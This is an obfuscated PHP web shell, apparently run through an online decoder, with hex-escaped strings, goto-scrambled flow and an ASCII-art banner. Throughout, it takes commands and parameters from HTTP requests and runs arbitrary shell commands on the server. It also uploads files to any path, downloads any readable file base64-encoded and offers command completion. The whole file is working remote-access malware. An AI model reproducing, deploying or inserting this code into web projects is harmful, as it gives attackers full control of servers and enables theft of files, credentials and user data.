/* Decoded by unphp.net */ goto hi1aA; RQZ4_: function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, "\167\x62"); if ($f === FALSE) { return array("\x73\x74\144\x6f\x75\164" => array("\111\156\166\x61\154\151\144\x20\160\x61\x74\150\x20\x2f\x20\x6e\157\x20\x77\162\x69\x74\x65\40\160\x65\162\155\151\x73\163\x69\x6f\156\56"), "\x63\x77\x64" => getcwd()); } else { fwrite($f, base64_decode($file)); fclose($f); return array("\x73\x74\144\x6f\165\x74" => array("\x44\157\x6e\145\56"), "\x63\167\144" => getcwd()); } } goto QUTEZ; ddXqJ: function featurePwd() { return array("\x63\x77\144" => getcwd()); } goto kfeBs; kfeBs: function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == "\x63\x6d\144") { $cmd = "\143\157\x6d\160\x67\145\x6e\x20\55\143\40{$fileName}"; } else { $cmd = "\143\x6f\155\x70\147\x65\156\x20\x2d\x66\x20{$fileName}"; } $cmd = "\57\142\x69\x6e\x2f\142\141\x73\x68\x20\x2d\143\40\42{$cmd}\42"; $files = explode("\xa", shell_exec($cmd)); return array("\x66\151\154\x65\163" => $files); } goto nXhkH; QUTEZ: if (isset($_GET["\x66\x65\141\x74\x75\x72\145"])) { $response = NULL; switch ($_GET["\x66\145\141\x74\x75\162\145"]) { case "\x73\x68\x65\154\x6c": $cmd = $_POST["\x63\x6d\x64"]; if (!preg_match("\57\x32\x3e\x2f", $cmd)) { $cmd .= "\x20\62\76\46\61"; } $response = featureShell($cmd, $_POST["\143\x77\x64"]); break; case "\160\167\144": $response = featurePwd(); break; case "\x68\151\156\164": $response = featureHint($_POST["\146\x69\x6c\x65\156\x61\x6d\x65"], $_POST["\143\167\144"], $_POST["\164\x79\x70\145"]); break; case "\165\160\154\x6f\141\x64": $response = featureUpload($_POST["\x70\141\164\x68"], $_POST["\x66\x69\154\x65"], $_POST["\x63\x77\x64"]); } header("\x43\x6f\x6e\x74\145\156\x74\x2d\x54\171\160\145\x3a\40\141\x70\160\x6c\x69\143\141\164\151\x6f\156\57\x6a\x73\157\x6e"); echo json_encode($response); die; } goto i0sJk; nXhkH: function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array("\x73\x74\144\x6f\x75\164" => array("\x46\x69\154\x65\x20\156\x6f\x74\40\x66\157\165\x6e\144\x20\x2f\x20\x6e\157\x20\162\x65\141\x64\40\160\x65\162\155\x69\163\163\x69\157\156\x2e"), "\143\167\144" => getcwd()); } else { return array("\156\x61\x6d\x65" => basename($filePath), "\146\151\x6c\x65" => base64_encode($file)); } } goto RQZ4_; hi1aA: function featureShell($cmd, $cwd) { $stdout = array(); if (preg_match("\x2f\x5e\134\x73\52\143\144\x5c\163\x2a\x24\x2f", $cmd)) { } elseif (preg_match("\57\136\134\163\52\x63\144\x5c\x73\53\x28\x2e\53\51\x5c\163\x2a\50\x32\x3e\x26\x31\51\77\x24\x2f", $cmd)) { chdir($cwd); preg_match("\x2f\136\x5c\x73\52\x63\144\x5c\x73\53\x28\133\x5e\x5c\163\x5d\53\51\x5c\x73\52\50\x32\76\x26\61\51\77\x24\x2f", $cmd, $match); chdir($match[1]); } elseif (preg_match("\57\x5e\x5c\163\x2a\x64\157\x77\x6e\x6c\x6f\x61\x64\134\x73\53\133\136\x5c\163\135\53\134\163\52\50\62\x3e\x26\x31\51\x3f\44\x2f", $cmd)) { chdir($cwd); preg_match("\x2f\x5e\134\163\52\144\157\x77\x6e\154\157\x61\x64\x5c\163\53\50\x5b\x5e\134\x73\x5d\x2b\x29\134\163\x2a\50\62\76\x26\61\x29\x3f\x24\x2f", $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); exec($cmd, $stdout); } return array("\163\164\144\157\165\x74" => $stdout, "\x63\x77\144" => getcwd()); } goto ddXqJ; i0sJk: ?>
___ ________ ________ ___ ___ ________ _______ |\ \ |\ __ \|\ ____\|\ \|\ \|\ ___ \|\ ___ \ \ \ \ \ \ \|\ \ \ \___|\ \ \\\ \ \ \\ \ \ \ __/| \ \ \ \ \ __ \ \ \ __\ \ \\\ \ \ \\ \ \ \ \_|/__ \ \ \____\ \ \ \ \ \ \|\ \ \ \\\ \ \ \\ \ \ \ \_|\ \ \ \_______\ \__\ \__\ \_______\ \_______\ \__\\ \__\ \_______\ \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__|\|_______|